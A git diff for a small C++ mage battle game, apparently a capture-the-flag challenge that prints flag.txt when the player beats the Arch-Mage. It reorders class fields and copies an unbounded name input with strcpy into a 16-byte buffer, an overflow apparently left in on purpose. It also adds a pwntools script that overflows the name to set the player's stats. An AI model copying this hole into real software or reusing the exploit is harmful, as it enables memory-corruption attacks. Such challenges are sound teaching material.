diff --git a/lib/BattleInterface.cpp b/lib/BattleInterface.cpp index 591aa82..5ac8f5f 100644 --- a/lib/BattleInterface.cpp +++ b/lib/BattleInterface.cpp @@ -61,6 +61,7 @@ void BattleInterface::start() { std::cout << "[" << i << "] " << Spell::Book.at(i).getName() << "\n"; } + std::cout << std::flush; choiceInt = UserInterface::getNumber( "What are you gonna cast this turn?\n>", 0, @@ -82,7 +83,7 @@ void BattleInterface::start() UserInterface::print(buff); } - choiceInt = (random() % player2->getLevel()); + choiceInt = (random() % (player2->getLevel() < Spell::Book.size() ? player2->getLevel() : Spell::Book.size())); if (player2->canCastSpell(&Spell::Book.at(choiceInt))) { player2->castSpell(&Spell::Book.at(choiceInt), player1); diff --git a/lib/Character.cpp b/lib/Character.cpp index 9cd3484..09438ee 100644 --- a/lib/Character.cpp +++ b/lib/Character.cpp @@ -1,8 +1,36 @@ #include "Character.hpp" #include +const int Character::maxLevel = 0xffff; +const int Character::maxExperience = 0x0fffffff; +Character::Character() +{ + this->level = 1; + this->experience = 0; + this->maxHP = 10; + this->curHP = maxHP; + this->maxMP = 5; + this->curMP = maxMP; + this->atk = 1; + this->def = 1; + memset(this->name, 0, 16); +} + +Character::Character(char *n) : Character::Character() +{ + strcpy(this->name, n); + this->name[15] = 0; +} + +Character::Character(const char *n) : Character::Character() +{ + strcpy(this->name, n); + this->name[15] = 0; +} Character::Character(char *n, int l, int e, int h, int m, int a, int d) { + strcpy(this->name, n); + this->name[15] = 0; this->level = l; this->experience = e; this->maxHP = h; @@ -11,12 +39,12 @@ Character::Character(char *n, int l, int e, int h, int m, int a, int d) this->curMP = maxMP; this->atk = a; this->def = d; - strcpy(this->name, n); - this->name[15] = 0; } Character::Character(const char *n, int l, int e, int h, int m, int a, int d) { + strcpy(this->name, n); + this->name[15] = 0; this->level = l; this->experience = e; this->maxHP = h; @@ -25,7 +53,6 @@ Character::Character(const char *n, int l, int e, int h, int m, int a, int d) this->curMP = maxMP; this->atk = a; this->def = d; - strcpy(this->name, n); } char *Character::getName() @@ -35,11 +62,19 @@ char *Character::getName() int Character::getLevel() { + if (this->level > Character::maxLevel) + { + exit(-1); + } return this->level; } int Character::getExperience() { + if (this->experience > Character::maxExperience) + { + exit(-1); + } return this->experience; } @@ -50,6 +85,10 @@ int Character::getMaxHP() int Character::getCurHP() { + if (this->curHP > this->maxHP) + { + exit(-1); + } return this->curHP; } @@ -60,6 +99,10 @@ int Character::getMaxMP() int Character::getCurMP() { + if (this->curMP > this->maxMP) + { + exit(-1); + } return this->curMP; } @@ -132,9 +175,9 @@ bool Character::readytoLevelUp() void Character::increaseExperience(int n) { this->experience += n; - if (this->experience > maxEperience) + if (this->experience > maxExperience) { - this->experience = maxEperience; + this->experience = maxExperience; } while (this->readytoLevelUp()) { diff --git a/lib/Character.hpp b/lib/Character.hpp index 0ab2fdb..14d107c 100644 --- a/lib/Character.hpp +++ b/lib/Character.hpp @@ -8,18 +8,18 @@ class Character { protected: - static const int maxLevel = 100; - static const int maxEperience = 999999999; + static const int maxLevel; + static const int maxExperience; char name[16]; - int level; int experience; - int maxHP; - int curHP; - int maxMP; - int curMP; + int level; int atk; int def; + int curHP; + int curMP; + int maxHP; + int maxMP; void restoreHP(int); void restoreMP(int); @@ -27,6 +27,9 @@ protected: void reduceMP(int); public: + Character(); + Character(char *name); + Character(const char *name); Character(char *name, int level, int exp, int hp, int mp, int atk, int def); Character(const char *name, int level, int exp, int hp, int mp, int atk, int def); diff --git a/lib/UserInterface.cpp b/lib/UserInterface.cpp index 7ddf831..a5aabd1 100644 --- a/lib/UserInterface.cpp +++ b/lib/UserInterface.cpp @@ -1,9 +1,9 @@ #include "UserInterface.hpp" -const int UserInterface::interval = 0; // in ms +const int UserInterface::interval = 0; // in ms const int UserInterface::miniInterval = 0; // in ms const int UserInterface::maxDay = 28; -const int UserInterface::maxMonth = 4; +const int UserInterface::maxMonth = 12; const int UserInterface::maxYear = 100; int UserInterface::day = 1; @@ -76,17 +76,20 @@ Character *UserInterface::characterCreation() { char buffer[128] = {0}; char choice = 0; + int i; + short b; while (choice != 'y' && choice != 'Y') { std::cout << "Who should we call you?\n" << ">" << std::flush; + std::cin >> buffer; + std::cout << "So you are a young mage named \"" << buffer << "\" correct? (y/N)\n" << ">"; std::cin >> choice; } - return new Character( - buffer, 1, 0, 10, 10, 5, 5); + return new Character(buffer); } void UserInterface::epilogue() @@ -193,15 +196,15 @@ void UserInterface::nextDay() { if (UserInterface::day++ >= UserInterface::maxDay) { + day = 1; if (UserInterface::month++ >= UserInterface::maxMonth) { + month = 1; if (UserInterface::year++ >= UserInterface::maxYear) { UserInterface::gameOver = true; } - month = 1; } - day = 1; } } diff --git a/main b/main index 723bdf0..ba4398f 100755 Binary files a/main and b/main differ diff --git a/main.cpp b/main.cpp index af18bd8..87b8d6c 100644 --- a/main.cpp +++ b/main.cpp @@ -1,5 +1,6 @@ #include +#include #include #include #include @@ -13,7 +14,11 @@ std::string loadFlag() { - return ""; + std::string flagString; + std::ifstream flagFile("flag.txt"); + flagFile >> flagString; + flagFile.close(); + return flagString; } int main() @@ -32,7 +37,7 @@ int main() UserInterface::welcomeMessage(); UserInterface::epilogue(); player = UserInterface::characterCreation(); - archMage = new Character("Arch-Mage", 100, 0, 100000, 100000, 1, 1); + archMage = new Character("Arch-Mage", 500, 0, 5000, 5000, 1, 1); enemies = { new Character("Abby", 1, 1, 10, 5, 1, 1), new Character("John", 2, 3, 20, 10, 1, 1), @@ -73,7 +78,7 @@ int main() choiceInt = UserInterface::getNumber("Who would you prefer to train with?\n>", 0, enemies.size()); UserInterface::print("You are going to spar with:\n"); UserInterface::characterInfo(enemies.at(choiceInt)); - UserInterface::print("Are you sure? (y/N)"); + UserInterface::print("Are you sure? (y/N)\n>"); std::cin >> choiceChar; if (choiceChar == 'y' || choiceChar == 'Y') { @@ -102,7 +107,7 @@ int main() break; case 4: UserInterface::print("You are going to challenge the Arch-Mage...\n"); - UserInterface::print("Are you sure? (y/N)"); + UserInterface::print("Are you sure? (y/N)\n>"); std::cin >> choiceChar; if (choiceChar == 'y' || choiceChar == 'Y') { @@ -116,13 +121,13 @@ int main() UserInterface::print("He let you take a glimpse to the scroll that you always wanted...\n"); UserInterface::print("Turns out the content is just some meaningless word...\n"); UserInterface::print("Here is the content:\n"); - UserInterface::print(flag); + UserInterface::print(flag + "\n"); } else { - UserInterface::print("You lose, but you still get some experience...\n"); - player->revive(); - player->increaseExperience(enemies.at(choiceInt)->getLevel() / 2); + UserInterface::print("You lose...\n"); + UserInterface::print("Sadly his spell was to powerful,\n"); + UserInterface::print("You got killed by the arch-mage...\n"); } } else diff --git a/main.py b/main.py new file mode 100644 index 0000000..de89014 --- /dev/null +++ b/main.py @@ -0,0 +1,18 @@ +from pwn import * + +if __name__ == "__main__": + p = process("./main") + print p.recvuntil(">") + p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01")) + print p.recvuntil(">") + p.sendline("y") + print p.recvuntil(">") + p.sendline("2") + print p.recvuntil(">") + p.sendline("4") + print p.recvuntil(">") + p.sendline("y") + for i in xrange(99): + print p.recvuntil(">") + p.sendline("9") + p.interactive()